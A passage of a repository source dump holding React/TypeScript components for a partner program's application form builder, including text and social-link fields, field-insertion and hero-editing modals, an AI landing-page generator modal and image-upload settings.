    "content": "import { programApplicationFormShortTextFieldSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport { cn } from \"@dub/utils\";\nimport { useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\nimport { MaxCharacterCount } from \"./max-character-count\";\n\ntype ShortTextFieldData = z.infer<\n  typeof programApplicationFormShortTextFieldSchema\n>;\n\nexport function ShortTextField({\n  keyPath: keyPathProp,\n  field,\n  preview,\n}: {\n  keyPath?: string;\n  field: ShortTextFieldData;\n  preview?: boolean;\n}) {\n  const { register, getFieldState, watch } = useFormContext<any>();\n  const keyPath = keyPathProp ? `${keyPathProp}.value` : \"value\";\n  const value = watch(keyPath);\n  const state = getFieldState(keyPath);\n  const currentLength = value?.length || 0;\n  const exceedsMaxLength =\n    field.data.maxLength && currentLength > field.data.maxLength;\n  const error = !!state.error || exceedsMaxLength;\n\n  return (\n    <FormControl label={field.label} required={field.required} dir=\"auto\">\n      <input\n        className={cn(\n          \"mt-2 block w-full rounded-md text-sm focus:outline-none\",\n          error\n            ? \"border-red-400 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n            : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:ring-[var(--brand)]\",\n        )}\n        placeholder={field.data.placeholder || \"\"}\n        {...(preview\n          ? {}\n          : register(keyPath, {\n              required: field.required,\n              maxLength: field.data.maxLength,\n            }))}\n      />\n\n      {field.data.maxLength && (\n        <MaxCharacterCount\n          currentLength={currentLength}\n          maxLength={field.data.maxLength}\n        />\n      )}\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/fields/website-and-socials-field.tsx",
    "content": "import { sanitizeSocialHandle, sanitizeWebsite } from \"@/lib/social-utils\";\nimport {\n  programApplicationFormSiteSchema,\n  programApplicationFormWebsiteAndSocialsFieldSchema,\n} from \"@/lib/zod/schemas/program-application-form\";\nimport { PlatformType } from \"@dub/prisma/client\";\nimport { cn } from \"@dub/utils\";\nimport { useCallback } from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { FormControl } from \"./form-control\";\n\ntype WebsiteAndSocialsFieldData = z.infer<\n  typeof programApplicationFormWebsiteAndSocialsFieldSchema\n>;\n\ntype WebsiteAndSocialsSiteData = z.infer<\n  typeof programApplicationFormSiteSchema\n>;\n\nconst Field = ({\n  keyPath: keyPathProp,\n  field,\n  preview,\n}: {\n  keyPath?: string;\n  field: WebsiteAndSocialsSiteData;\n  preview?: boolean;\n}) => {\n  const { register, getFieldState, setValue } = useFormContext<any>();\n  const keyPath = keyPathProp ? `${keyPathProp}.value` : \"value\";\n  const state = getFieldState(keyPath);\n  const error = !!state.error;\n\n  const onPasteSocial = useCallback(\n    (e: React.ClipboardEvent<HTMLInputElement>, platform: PlatformType) => {\n      const text = e.clipboardData.getData(\"text/plain\");\n      const sanitized = sanitizeSocialHandle(text, platform);\n\n      if (sanitized) {\n        setValue(keyPath, sanitized);\n        e.preventDefault();\n      }\n    },\n    [setValue, keyPath],\n  );\n\n  const onPasteWebsite = useCallback(\n    (e: React.ClipboardEvent<HTMLInputElement>) => {\n      const text = e.clipboardData.getData(\"text/plain\");\n      const sanitized = sanitizeWebsite(text);\n\n      if (sanitized) {\n        setValue(keyPath, sanitized);\n        e.preventDefault();\n      }\n    },\n    [setValue, keyPath],\n  );\n\n  switch (field.type) {\n    case \"website\":\n      return (\n        <FormControl required={field.required} label=\"Website\">\n          <input\n            type=\"text\"\n            className={cn(\n              \"block min-h-10 w-full rounded-md text-sm focus:outline-none\",\n              error\n                ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:border-neutral-500 focus:ring-[var(--brand)] focus:ring-neutral-500\",\n            )}\n            placeholder=\"\"\n            onPaste={onPasteWebsite}\n            {...(preview\n              ? {}\n              : register(keyPath, { required: field.required }))}\n          />\n        </FormControl>\n      );\n    case \"youtube\":\n      return (\n        <FormControl required={field.required} label=\"YouTube\">\n          <div className=\"flex rounded-md bg-white\">\n            <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 px-3 text-sm font-medium text-neutral-800\">\n              youtube.com/\n            </span>\n            <input\n              type=\"text\"\n              className={cn(\n                \"block min-h-10 w-full rounded-none rounded-r-md text-sm focus:outline-none\",\n                error\n                  ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                  : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:border-neutral-500 focus:ring-[var(--brand)] focus:ring-neutral-500\",\n              )}\n              placeholder=\"handle\"\n              onPaste={(e) => onPasteSocial(e, \"youtube\")}\n              {...(preview\n                ? {}\n                : register(keyPath, { required: field.required }))}\n            />\n          </div>\n        </FormControl>\n      );\n    case \"twitter\":\n      return (\n        <FormControl required={field.required} label=\"X/Twitter\">\n          <div className=\"flex rounded-md bg-white\">\n            <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 px-3 text-sm font-medium text-neutral-800\">\n              x.com/\n            </span>\n            <input\n              type=\"text\"\n              className={cn(\n                \"block min-h-10 w-full rounded-none rounded-r-md text-sm focus:outline-none\",\n                error\n                  ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                  : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:border-neutral-500 focus:ring-[var(--brand)] focus:ring-neutral-500\",\n              )}\n              placeholder=\"handle\"\n              onPaste={(e) => onPasteSocial(e, \"twitter\")}\n              {...(preview\n                ? {}\n                : register(keyPath, { required: field.required }))}\n            />\n          </div>\n        </FormControl>\n      );\n    case \"linkedin\":\n      return (\n        <FormControl required={field.required} label=\"LinkedIn\">\n          <div className=\"flex rounded-md bg-white\">\n            <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 px-3 text-sm font-medium text-neutral-800\">\n              linkedin.com/in/\n            </span>\n            <input\n              type=\"text\"\n              className={cn(\n                \"block min-h-10 w-full rounded-none rounded-r-md text-sm focus:outline-none\",\n                error\n                  ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                  : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:border-neutral-500 focus:ring-[var(--brand)] focus:ring-neutral-500\",\n              )}\n              placeholder=\"handle\"\n              onPaste={(e) => onPasteSocial(e, \"linkedin\")}\n              {...(preview\n                ? {}\n                : register(keyPath, { required: field.required }))}\n            />\n          </div>\n        </FormControl>\n      );\n    case \"instagram\":\n      return (\n        <FormControl required={field.required} label=\"Instagram\">\n          <div className=\"flex rounded-md bg-white\">\n            <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 px-3 text-sm font-medium text-neutral-800\">\n              instagram.com/\n            </span>\n            <input\n              type=\"text\"\n              className={cn(\n                \"block min-h-10 w-full rounded-none rounded-r-md text-sm focus:outline-none\",\n                error\n                  ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                  : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:border-neutral-500 focus:ring-[var(--brand)] focus:ring-neutral-500\",\n              )}\n              placeholder=\"handle\"\n              onPaste={(e) => onPasteSocial(e, \"instagram\")}\n              {...(preview\n                ? {}\n                : register(keyPath, { required: field.required }))}\n            />\n          </div>\n        </FormControl>\n      );\n    case \"tiktok\":\n      return (\n        <FormControl required={field.required} label=\"TikTok\">\n          <div className=\"flex rounded-md bg-white\">\n            <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 px-3 text-sm font-medium text-neutral-800\">\n              tiktok.com/\n            </span>\n            <input\n              type=\"text\"\n              className={cn(\n                \"block min-h-10 w-full rounded-none rounded-r-md text-sm focus:outline-none\",\n                error\n                  ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                  : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-[var(--brand)] focus:border-neutral-500 focus:ring-[var(--brand)] focus:ring-neutral-500\",\n              )}\n              placeholder=\"handle\"\n              onPaste={(e) => onPasteSocial(e, \"tiktok\")}\n              {...(preview\n                ? {}\n                : register(keyPath, { required: field.required }))}\n            />\n          </div>\n        </FormControl>\n      );\n    default:\n      return null;\n  }\n};\n\nexport function WebsiteAndSocialsField({\n  keyPath,\n  field,\n  preview,\n}: {\n  keyPath?: string;\n  field: WebsiteAndSocialsFieldData;\n  preview?: boolean;\n}) {\n  return (\n    <div className={cn(\"flex w-full flex-col gap-5 text-left\")}>\n      {field.data.map((fieldData, index) => (\n        <Field\n          key={index}\n          field={fieldData}\n          keyPath={`${keyPath}.data.${index}`}\n          preview={preview}\n        />\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/form-data-for-application-form-data.ts",
    "content": "import { ProgramApplicationFormDataWithValues } from \"@/lib/types\";\nimport {\n  programApplicationFormFieldSchema,\n  programApplicationFormImageUploadFieldWithValueSchema,\n  programApplicationFormLongTextFieldWithValueSchema,\n  programApplicationFormMultipleChoiceFieldSchema,\n  programApplicationFormMultipleChoiceFieldWithValueSchema,\n  programApplicationFormSelectFieldWithValueSchema,\n  programApplicationFormShortTextFieldWithValueSchema,\n  programApplicationFormWebsiteAndSocialsFieldWithValueSchema,\n} from \"@/lib/zod/schemas/program-application-form\";\nimport * as z from \"zod/v4\";\n\nexport const formDataForApplicationFormData = (\n  fields: z.infer<typeof programApplicationFormFieldSchema>[],\n): ProgramApplicationFormDataWithValues => {\n  return {\n    fields: fields.map((field: any) => {\n      switch (field.type) {\n        case \"short-text\":\n          return {\n            ...field,\n            value: \"\",\n          } as z.infer<\n            typeof programApplicationFormShortTextFieldWithValueSchema\n          >;\n        case \"long-text\":\n          return {\n            ...field,\n            value: \"\",\n          } as z.infer<\n            typeof programApplicationFormLongTextFieldWithValueSchema\n          >;\n        case \"select\":\n          return {\n            ...field,\n            value: \"\",\n          } as z.infer<typeof programApplicationFormSelectFieldWithValueSchema>;\n        case \"multiple-choice\":\n          const multipleChoiceField = field as z.infer<\n            typeof programApplicationFormMultipleChoiceFieldSchema\n          >;\n          return {\n            ...field,\n            value: multipleChoiceField.data.multiple ? [] : \"\",\n          } as z.infer<\n            typeof programApplicationFormMultipleChoiceFieldWithValueSchema\n          >;\n        case \"image-upload\":\n          return {\n            ...field,\n            value: [],\n          } as z.infer<\n            typeof programApplicationFormImageUploadFieldWithValueSchema\n          >;\n        case \"website-and-socials\":\n          return {\n            ...field,\n            data: field.data.map((data) => ({\n              ...data,\n              value: \"\",\n            })),\n          } as z.infer<\n            typeof programApplicationFormWebsiteAndSocialsFieldWithValueSchema\n          >;\n        default:\n          return field;\n      }\n    }),\n  } as any;\n};\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/modals/add-field-modal.tsx",
    "content": "\"use client\";\n\nimport { programApplicationFormFieldSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport { Icon, Modal } from \"@dub/ui\";\nimport { Dispatch, Fragment, ReactNode, SetStateAction, useState } from \"react\";\nimport { useWatch } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { useBrandingFormContext } from \"../../branding-form\";\nimport {\n  ImageUploadFieldModal,\n  ImageUploadFieldThumbnail,\n} from \"./image-upload-field-modal\";\nimport {\n  LongTextFieldModal,\n  LongTextFieldThumbnail,\n} from \"./long-text-field-modal\";\nimport {\n  MultipleChoiceFieldModal,\n  MultipleChoiceFieldThumbnail,\n} from \"./multiple-choice-field-modal\";\nimport { SelectFieldModal, SelectFieldThumbnail } from \"./select-field-modal\";\nimport {\n  ShortTextFieldModal,\n  ShortTextFieldThumbnail,\n} from \"./short-text-field-modal\";\nimport {\n  WebsiteAndSocialsFieldModal,\n  WebsiteAndSocialsFieldThumbnail,\n} from \"./website-and-socials-field-modal\";\n\ntype AddFieldModalProps = {\n  showAddFieldModal: boolean;\n  setShowAddFieldModal: Dispatch<SetStateAction<boolean>>;\n  addIndex: number;\n};\n\nexport function AddFieldModal(props: AddFieldModalProps) {\n  return (\n    <Modal\n      showModal={props.showAddFieldModal}\n      setShowModal={props.setShowAddFieldModal}\n      className=\"max-w-2xl\"\n    >\n      <AddFieldModalInner {...props} />\n    </Modal>\n  );\n}\n\nexport const DESIGNER_FIELDS: ({\n  id: z.infer<typeof programApplicationFormFieldSchema>[\"type\"];\n  label: string;\n  description: string;\n  modal: React.ComponentType<any>;\n} & (\n  | { icon: Icon; thumbnail?: never }\n  | { thumbnail: ReactNode; icon?: never }\n))[] = [\n  {\n    id: \"short-text\",\n    label: \"Short Text\",\n    description: \"Quick answers that don’t need much space\",\n    modal: ShortTextFieldModal,\n    thumbnail: <ShortTextFieldThumbnail />,\n  },\n  {\n    id: \"long-text\",\n    label: \"Long Text\",\n    description: \"Let applicants share details in their own words\",\n    modal: LongTextFieldModal,\n    thumbnail: <LongTextFieldThumbnail />,\n  },\n  {\n    id: \"select\",\n    label: \"Dropdown\",\n    description: \"For giving many options to choose from\",\n    modal: SelectFieldModal,\n    thumbnail: <SelectFieldThumbnail />,\n  },\n  {\n    id: \"multiple-choice\",\n    label: \"Multiple Choice\",\n    description: \"For a shorter range of answers to a question\",\n    modal: MultipleChoiceFieldModal,\n    thumbnail: <MultipleChoiceFieldThumbnail />,\n  },\n  {\n    id: \"image-upload\",\n    label: \"Image Upload\",\n    description: \"Let applicants upload images\",\n    modal: ImageUploadFieldModal,\n    thumbnail: <ImageUploadFieldThumbnail />,\n  },\n  {\n    id: \"website-and-socials\",\n    label: \"Website and socials\",\n    description: \"Collect website and social media links\",\n    modal: WebsiteAndSocialsFieldModal,\n    thumbnail: <WebsiteAndSocialsFieldThumbnail />,\n  },\n];\n\nfunction AddFieldModalInner({\n  setShowAddFieldModal,\n  addIndex,\n}: AddFieldModalProps) {\n  const [modalState, setModalState] = useState<\n    null | z.infer<typeof programApplicationFormFieldSchema>[\"type\"]\n  >(null);\n\n  const { control, setValue } = useBrandingFormContext();\n  const applicationFormData = useWatch({\n    control,\n    name: \"applicationFormData\",\n  });\n\n  const hasWebsiteAndSocialsField = applicationFormData.fields.some(\n    (field) => field.type === \"website-and-socials\",\n  );\n\n  const fields = DESIGNER_FIELDS.filter(\n    (field) => field.id !== \"website-and-socials\" || !hasWebsiteAndSocialsField,\n  );\n\n  return (\n    <>\n      <div className=\"p-4 pt-3\">\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          Insert field\n        </h3>\n        <div className=\"mt-4 grid grid-cols-2 gap-4 md:grid-cols-3\">\n          {fields.map((field) => (\n            <Fragment key={field.id}>\n              <field.modal\n                showModal={modalState === field.id}\n                setShowModal={(show) =>\n                  setModalState((s) =>\n                    show ? field.id : s === field.id ? null : s,\n                  )\n                }\n                onSubmit={(data) => {\n                  setValue(\n                    `applicationFormData.fields`,\n                    [\n                      ...applicationFormData.fields.slice(0, addIndex),\n                      data,\n                      ...applicationFormData.fields.slice(addIndex),\n                    ],\n                    { shouldDirty: true },\n                  );\n\n                  setModalState(null);\n                  setShowAddFieldModal(false);\n                }}\n              />\n              <button\n                type=\"button\"\n                onClick={() => setModalState(field.id)}\n                className=\"flex flex-col gap-4 rounded-md border border-transparent bg-neutral-100 p-4 text-left outline-none ring-black/10 transition-all duration-150 hover:border-neutral-800 hover:ring focus-visible:border-neutral-800\"\n              >\n                {field.icon ? (\n                  <div className=\"flex size-12 items-center justify-center overflow-hidden rounded-md border border-neutral-200 bg-white\">\n                    <field.icon className=\"size-5 text-neutral-600\" />\n                  </div>\n                ) : (\n                  <div className=\"flex h-24 w-full items-center justify-center overflow-hidden rounded-md border border-neutral-200 bg-white\">\n                    {field.thumbnail}\n                  </div>\n                )}\n                <div className=\"flex flex-col gap-1\">\n                  <span className=\"text-sm font-semibold text-neutral-900\">\n                    {field.label}\n                  </span>\n                  <p className=\"text-sm tracking-[-0.01em] text-neutral-500\">\n                    {field.description}\n                  </p>\n                </div>\n              </button>\n            </Fragment>\n          ))}\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/modals/edit-application-hero-modal.tsx",
    "content": "\"use client\";\n\nimport useProgram from \"@/lib/swr/use-program\";\nimport {\n  Button,\n  MarkdownIcon,\n  Modal,\n  useEnterSubmit,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useId,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { BrandingFormData, useBrandingFormContext } from \"../../branding-form\";\n\ntype EditApplicationHeroModalProps = {\n  showEditApplicationHeroModal: boolean;\n  setShowEditApplicationHeroModal: Dispatch<SetStateAction<boolean>>;\n};\n\nfunction EditApplicationHeroModal(props: EditApplicationHeroModalProps) {\n  return (\n    <Modal\n      showModal={props.showEditApplicationHeroModal}\n      setShowModal={props.setShowEditApplicationHeroModal}\n    >\n      <EditApplicationHeroModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction EditApplicationHeroModalInner({\n  setShowEditApplicationHeroModal,\n}: EditApplicationHeroModalProps) {\n  const id = useId();\n  const { isMobile } = useMediaQuery();\n  const { program } = useProgram();\n\n  const { getValues: getValuesParent, setValue: setValueParent } =\n    useBrandingFormContext();\n\n  const {\n    register,\n    handleSubmit,\n    formState: { isDirty },\n  } = useForm<Pick<BrandingFormData, \"applicationFormData\">>({\n    values: {\n      applicationFormData: getValuesParent(\"applicationFormData\"),\n    },\n  });\n\n  const { handleKeyDown } = useEnterSubmit();\n\n  return (\n    <>\n      <form\n        className=\"p-4 pt-3\"\n        onSubmit={(e) => {\n          e.stopPropagation();\n          handleSubmit(({ applicationFormData }) => {\n            setValueParent(\"applicationFormData\", applicationFormData, {\n              shouldDirty: true,\n            });\n            setShowEditApplicationHeroModal(false);\n          })(e);\n        }}\n      >\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          Title and Description\n        </h3>\n\n        <div className=\"mt-4 flex flex-col gap-6\">\n          {/* Section label */}\n          <div>\n            <label\n              htmlFor={`${id}-label`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Section label\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-label`}\n                type=\"text\"\n                placeholder={\n                  program?.name\n                    ? `${program.name} Affiliate Program`\n                    : \"Affiliate Program\"\n                }\n                autoFocus={!isMobile}\n                className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                {...register(\"applicationFormData.label\")}\n              />\n            </div>\n          </div>\n\n          {/* Title */}\n          <div>\n            <label\n              htmlFor={`${id}-title`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Title\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-title`}\n                type=\"text\"\n                placeholder={program ? `Apply to ${program.name}` : \"Apply now\"}\n                autoFocus={!isMobile}\n                className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                {...register(\"applicationFormData.title\")}\n              />\n            </div>\n          </div>\n\n          {/* Description */}\n          <div>\n            <label\n              htmlFor={`${id}-description`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Description\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <textarea\n                id={`${id}-description`}\n                rows={3}\n                maxLength={2000}\n                onKeyDown={handleKeyDown}\n                placeholder={`Submit your application to join the ${program?.name} affiliate program and start earning commissions for your referrals.`}\n                className=\"block max-h-32 min-h-16 w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                {...register(\"applicationFormData.description\")}\n              />\n            </div>\n            <a\n              href=\"https://www.markdownguide.org/basic-syntax/\"\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              className=\"text-content-subtle mt-1 flex items-center gap-1 text-xs\"\n            >\n              <MarkdownIcon role=\"presentation\" className=\"h-3 w-auto\" />\n              <span className=\"sr-only\">MarkdownIcon</span> supported\n            </a>\n          </div>\n        </div>\n\n        <div className=\"mt-4 flex items-center justify-end gap-2\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-9 w-fit\"\n            onClick={() => setShowEditApplicationHeroModal(false)}\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text=\"Save\"\n            className=\"h-9 w-fit\"\n            disabled={!isDirty}\n          />\n        </div>\n      </form>\n    </>\n  );\n}\n\nexport function useEditApplicationHeroModal() {\n  const [showEditApplicationHeroModal, setShowEditApplicationHeroModal] =\n    useState(false);\n\n  const EditApplicationHeroModalCallback = useCallback(() => {\n    return (\n      <EditApplicationHeroModal\n        showEditApplicationHeroModal={showEditApplicationHeroModal}\n        setShowEditApplicationHeroModal={setShowEditApplicationHeroModal}\n      />\n    );\n  }, [showEditApplicationHeroModal, setShowEditApplicationHeroModal]);\n\n  return useMemo(\n    () => ({\n      setShowEditApplicationHeroModal,\n      EditApplicationHeroModal: EditApplicationHeroModalCallback,\n    }),\n    [setShowEditApplicationHeroModal, EditApplicationHeroModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/modals/generate-lander-modal.tsx",
    "content": "import useProgram from \"@/lib/swr/use-program\";\nimport { ProgramApplicationFormData } from \"@/lib/types\";\nimport { Button, Modal, useEnterSubmit, useMediaQuery } from \"@dub/ui\";\nimport { Dispatch, SetStateAction } from \"react\";\nimport { useForm } from \"react-hook-form\";\n\ntype GenerateLanderFormData = {\n  websiteUrl: string;\n  prompt?: string;\n};\n\ntype GenerateLanderModalProps = {\n  showGenerateLanderModal: boolean;\n  setShowGenerateLanderModal: Dispatch<SetStateAction<boolean>>;\n  onGenerate: (data: GenerateLanderFormData) => void;\n  applicationFormData?: ProgramApplicationFormData;\n};\n\nexport function GenerateLanderModal(props: GenerateLanderModalProps) {\n  return (\n    <Modal\n      showModal={props.showGenerateLanderModal}\n      setShowModal={props.setShowGenerateLanderModal}\n    >\n      <GenerateLanderModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction GenerateLanderModalInner({\n  setShowGenerateLanderModal,\n  onGenerate,\n  applicationFormData,\n}: GenerateLanderModalProps) {\n  const { isMobile } = useMediaQuery();\n  const { program } = useProgram();\n\n  const {\n    register,\n    handleSubmit,\n    formState: { isSubmitting, isSubmitSuccessful },\n  } = useForm<GenerateLanderFormData>({\n    defaultValues: {\n      websiteUrl: program?.url ?? \"\",\n      prompt: \"\",\n    },\n  });\n\n  const { handleKeyDown } = useEnterSubmit();\n\n  const updating = !!applicationFormData?.fields.length;\n\n  return (\n    <>\n      <form\n        className=\"p-4 pt-3\"\n        onSubmit={(e) => {\n          e.stopPropagation();\n          handleSubmit(async ({ websiteUrl, prompt }) => {\n            setShowGenerateLanderModal(false);\n            onGenerate({ websiteUrl, prompt });\n          })(e);\n        }}\n      >\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          {updating\n            ? \"Generate landing page content\"\n            : \"Generate a new landing page\"}\n        </h3>\n        <p className=\"text-content-subtle mt-2 text-sm\">\n          {updating\n            ? \"We'll use AI to update your program's landing page, based on content from your own website.\"\n            : \"We'll use AI to generate a new landing page for your program, based on content from your own website.\"}\n        </p>\n\n        <div className=\"mt-4 flex flex-col gap-6\">\n          {/* Title */}\n          <label>\n            <span className=\"block text-sm font-medium text-neutral-700\">\n              Website URL\n            </span>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                type=\"text\"\n                placeholder=\"https://dub.co\"\n                autoFocus={!isMobile}\n                className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                {...register(\"websiteUrl\")}\n              />\n            </div>\n          </label>\n\n          {/* Instructions */}\n          {updating && (\n            <label>\n              <span className=\"block text-sm font-medium text-neutral-700\">\n                Instructions (optional)\n              </span>\n              <div className=\"mt-2 rounded-md shadow-sm\">\n                <textarea\n                  placeholder=\"Any additional instructions for the AI\"\n                  rows={2}\n                  className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  onKeyDown={handleKeyDown}\n                  {...register(\"prompt\")}\n                />\n              </div>\n            </label>\n          )}\n        </div>\n\n        <div className=\"mt-4 flex items-center justify-end gap-2\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-9 w-fit\"\n            onClick={() => setShowGenerateLanderModal(false)}\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            loading={isSubmitting || isSubmitSuccessful}\n            text=\"Generate\"\n            className=\"h-9 w-fit\"\n          />\n        </div>\n      </form>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/modals/image-upload-field-modal.tsx",
    "content": "\"use client\";\n\nimport { programApplicationFormImageUploadFieldSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport { Button, Modal, Switch, useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport { Dispatch, SetStateAction, useId } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { v4 as uuid } from \"uuid\";\nimport * as z from \"zod/v4\";\n\nconst MIN_MAX_IMAGES = 2;\nconst MAX_MAX_IMAGES = 10;\nconst DEFAULT_MAX_IMAGES = 4;\n\ntype ImageUploadFieldData = z.infer<\n  typeof programApplicationFormImageUploadFieldSchema\n>;\n\ntype ImageUploadFieldModalProps = {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  defaultValues?: Partial<ImageUploadFieldData>;\n  onSubmit: (data: ImageUploadFieldData) => void;\n};\n\nexport function ImageUploadFieldModal(props: ImageUploadFieldModalProps) {\n  return (\n    <Modal showModal={props.showModal} setShowModal={props.setShowModal}>\n      <ImageUploadFieldModalInner {...props} />\n    </Modal>\n  );\n}\n\ntype FormData = Omit<ImageUploadFieldData, \"data\"> & {\n  data: ImageUploadFieldData[\"data\"] & {\n    allowMultiple: boolean;\n  };\n};\n\nconst imageUploadFieldDataFromFormData = (\n  formData: FormData,\n): ImageUploadFieldData => {\n  const { data, ...rest } = formData;\n  const { allowMultiple, maxImages, ...dataRest } = data;\n  return {\n    ...rest,\n    data: {\n      ...dataRest,\n      maxImages: allowMultiple ? maxImages : 1,\n    },\n  };\n};\n\nconst formDataForImageUploadFieldData = (\n  imageUploadFieldData?: Partial<ImageUploadFieldData>,\n): FormData => {\n  const maxImages = imageUploadFieldData?.data?.maxImages ?? 1;\n  const allowMultiple = maxImages > 1;\n\n  return {\n    id: imageUploadFieldData?.id ?? uuid(),\n    type: imageUploadFieldData?.type ?? \"image-upload\",\n    label: imageUploadFieldData?.label ?? \"\",\n    required: imageUploadFieldData?.required ?? false,\n    data: {\n      allowMultiple,\n      maxImages: allowMultiple ? maxImages : DEFAULT_MAX_IMAGES,\n    },\n  };\n};\n\nfunction ImageUploadFieldModalInner({\n  setShowModal,\n  onSubmit,\n  defaultValues,\n}: ImageUploadFieldModalProps) {\n  const id = useId();\n  const { isMobile } = useMediaQuery();\n  const {\n    control,\n    handleSubmit,\n    register,\n    watch,\n    formState: { errors },\n  } = useForm<FormData>({\n    defaultValues: formDataForImageUploadFieldData(defaultValues),\n  });\n\n  const allowMultiple = watch(\"data.allowMultiple\");\n\n  return (\n    <>\n      <div className=\"p-4 pt-3\">\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          {defaultValues ? \"Edit\" : \"Add\"} image upload\n        </h3>\n        <form\n          className=\"mt-4 flex flex-col gap-6\"\n          onSubmit={(e) => {\n            e.stopPropagation();\n            handleSubmit(async (data) => {\n              setShowModal(false);\n              onSubmit(imageUploadFieldDataFromFormData(data));\n            })(e);\n          }}\n        >\n          {/* Label */}\n          <div>\n            <label\n              htmlFor={`${id}-label`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Input label\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-label`}\n                type=\"text\"\n                placeholder=\"\"\n                autoFocus={!isMobile}\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  !!errors.label &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                {...register(\"label\", { required: true })}\n              />\n            </div>\n          </div>\n\n          {/* Allow multiple images */}\n          <div className=\"flex flex-col gap-2\">\n            <Controller\n              name=\"data.allowMultiple\"\n              control={control}\n              render={({ field }) => {\n                return (\n                  <label\n                    className=\"flex items-center justify-between gap-1.5\"\n                    htmlFor={`${id}-allow-multiple`}\n                  >\n                    <span className=\"text-sm font-medium text-neutral-700\">\n                      Allow multiple images\n                    </span>\n                    <Switch\n                      id={`${id}-allow-multiple`}\n                   